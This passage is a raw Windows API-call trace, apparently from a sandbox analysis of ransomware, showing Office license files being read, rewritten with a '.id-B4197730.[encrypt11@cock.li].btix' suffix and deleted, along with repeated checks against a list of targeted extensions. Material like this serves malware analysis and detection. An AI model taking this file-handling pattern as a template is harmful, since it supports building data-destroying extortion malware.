CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0142.575] GetLastError () returned 0x0 [0142.576] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0142.581] WriteFile (in: hFile=0x4a0, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0142.582] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.582] WriteFile (in: hFile=0x4a0, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x110, lpOverlapped=0x0) returned 1 [0142.582] SetEndOfFile (hFile=0x4a0) returned 1 [0142.582] CloseHandle (hObject=0x4a0) returned 1 [0142.582] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.582] SetEndOfFile (hFile=0x3bc) returned 1 [0142.586] CloseHandle (hObject=0x3bc) returned 1 [0142.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0142.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.587] lstrlenW (lpString=".doc") returned 4 [0142.587] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".docx") returned 5 [0142.587] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.587] lstrlenW (lpString=".pdf") returned 4 [0142.587] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".xls") returned 4 [0142.587] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".xlsx") returned 5 [0142.587] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.587] lstrlenW (lpString=".ppt") returned 4 [0142.587] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.587] lstrlenW (lpString=".zip") returned 4 [0142.587] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".rar") returned 4 [0142.587] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".bz2") returned 4 [0142.587] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.587] lstrlenW (lpString=".7z") returned 3 [0142.588] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.588] lstrlenW (lpString=".dbf") returned 4 [0142.588] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.588] lstrlenW (lpString=".1cd") returned 4 [0142.588] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.588] lstrlenW (lpString=".jpg") returned 4 [0142.588] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.588] lstrlenW (lpString=".doc") returned 4 [0142.588] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.588] lstrlenW (lpString=".docx") returned 5 [0142.588] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.588] lstrlenW (lpString=".pdf") returned 4 [0142.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString=".xls") returned 4 [0142.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString=".xlsx") returned 5 [0142.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.589] lstrlenW (lpString=".ppt") returned 4 [0142.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.589] lstrlenW (lpString=".zip") returned 4 [0142.589] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString=".rar") returned 4 [0142.589] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString=".bz2") returned 4 [0142.589] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString=".7z") returned 3 [0142.589] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.589] lstrlenW (lpString=".dbf") returned 4 [0142.589] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.589] lstrlenW (lpString=".1cd") returned 4 [0142.589] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0142.589] lstrlenW (lpString=".jpg") returned 4 [0142.589] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.589] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.589] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0142.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.592] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3219) returned 1 [0142.592] CloseHandle (hObject=0x3bc) returned 1 [0142.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0142.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.593] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.593] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.849] GetLastError () returned 0x0 [0142.849] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0xc93, lpOverlapped=0x0) returned 1 [0142.889] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0xca0, lpOverlapped=0x0) returned 1 [0142.889] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.890] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x122, lpOverlapped=0x0) returned 1 [0142.890] SetEndOfFile (hFile=0x550) returned 1 [0142.890] CloseHandle (hObject=0x550) returned 1 [0142.890] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.890] SetEndOfFile (hFile=0x3bc) returned 1 [0142.892] CloseHandle (hObject=0x3bc) returned 1 [0142.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0142.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.893] lstrlenW (lpString=".doc") returned 4 [0142.893] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.893] lstrlenW (lpString=".docx") returned 5 [0142.893] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.893] lstrlenW (lpString=".pdf") returned 4 [0142.893] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.893] lstrlenW (lpString=".xls") returned 4 [0142.893] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.893] lstrlenW (lpString=".xlsx") returned 5 [0142.893] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.893] lstrlenW (lpString=".ppt") returned 4 [0142.894] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString=".zip") returned 4 [0142.894] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".rar") returned 4 [0142.894] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".bz2") returned 4 [0142.894] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".7z") returned 3 [0142.894] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString=".dbf") returned 4 [0142.894] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString=".1cd") returned 4 [0142.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString=".jpg") returned 4 [0142.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.894] lstrlenW (lpString=".doc") returned 4 [0142.894] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".docx") returned 5 [0142.894] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.894] lstrlenW (lpString=".pdf") returned 4 [0142.894] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".xls") returned 4 [0142.894] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString=".xlsx") returned 5 [0142.894] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.894] lstrlenW (lpString=".ppt") returned 4 [0142.894] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.895] lstrlenW (lpString=".zip") returned 4 [0142.895] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.895] lstrlenW (lpString=".rar") returned 4 [0142.895] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.895] lstrlenW (lpString=".bz2") returned 4 [0142.895] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.895] lstrlenW (lpString=".7z") returned 3 [0142.895] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.895] lstrlenW (lpString=".dbf") returned 4 [0142.895] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.895] lstrlenW (lpString=".1cd") returned 4 [0142.895] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0142.895] lstrlenW (lpString=".jpg") returned 4 [0142.895] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.895] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.895] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0142.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.896] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4392) returned 1 [0142.896] CloseHandle (hObject=0x3bc) returned 1 [0142.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0142.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.896] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.897] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0142.897] GetLastError () returned 0x0 [0142.897] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x1128, lpOverlapped=0x0) returned 1 [0142.900] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x1130, lpOverlapped=0x0) returned 1 [0142.901] ReadFile (in: hFile=0x3bc, lpBuffer=0x42bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.901] WriteFile (in: hFile=0x550, lpBuffer=0x42bd020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x42bd020*, lpNumberOfBytesWritten=0x378fc94*=0x10e, lpOverlapped=0x0) returned 1 [0142.901] SetEndOfFile (hFile=0x550) returned 1 [0142.901] CloseHandle (hObject=0x550) returned 1 [0142.901] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.901] SetEndOfFile (hFile=0x3bc) returned 1 [0142.903] CloseHandle (hObject=0x3bc) returned 1 [0142.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0142.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.904] lstrlenW (lpString=".doc") returned 4 [0142.904] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.904] lstrlenW (lpString=".docx") returned 5 [0142.904] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.904] lstrlenW (lpString=".pdf") returned 4 [0142.904] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.904] lstrlenW (lpString=".xls") returned 4 [0142.904] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.904] lstrlenW (lpString=".xlsx") returned 5 [0142.904] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.905] lstrlenW (lpString=".ppt") returned 4 [0142.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString=".zip") returned 4 [0142.905] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".rar") returned 4 [0142.905] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".bz2") returned 4 [0142.905] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".7z") returned 3 [0142.905] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString=".dbf") returned 4 [0142.905] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString=".1cd") returned 4 [0142.905] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString=".jpg") returned 4 [0142.905] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.905] lstrlenW (lpString=".doc") returned 4 [0142.905] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".docx") returned 5 [0142.905] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0142.905] lstrlenW (lpString=".pdf") returned 4 [0142.905] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".xls") returned 4 [0142.905] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0142.905] lstrlenW (lpString=".xlsx") returned 5 [0142.905] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0142.905] lstrlenW (lpString=".ppt") returned 4 [0142.905] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.906] lstrlenW (lpString=".zip") returned 4 [0142.906] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString=".rar") returned 4 [0142.906] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString=".bz2") returned 4 [0142.906] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString=".7z") returned 3 [0142.906] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0142.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.906] lstrlenW (lpString=".dbf") returned 4 [0142.906] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.906] lstrlenW (lpString=".1cd") returned 4 [0142.906] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0142.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0142.906] lstrlenW (lpString=".jpg") returned 4 [0142.906] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0142.906] lstrcmpiW (lpString1=".xrm-ms", lpString2=".btix") returned 1 [0142.906] lstrlenW (lpString="client-issuance-ul.xrm-ms") returned 25 [0142.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.907] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4208) returned 1 [0142.907] CloseHandle (hObject=0x3bc) returned 1 [0142.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms")) returned 0x220 [0142.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0142.908] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.908] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.908] 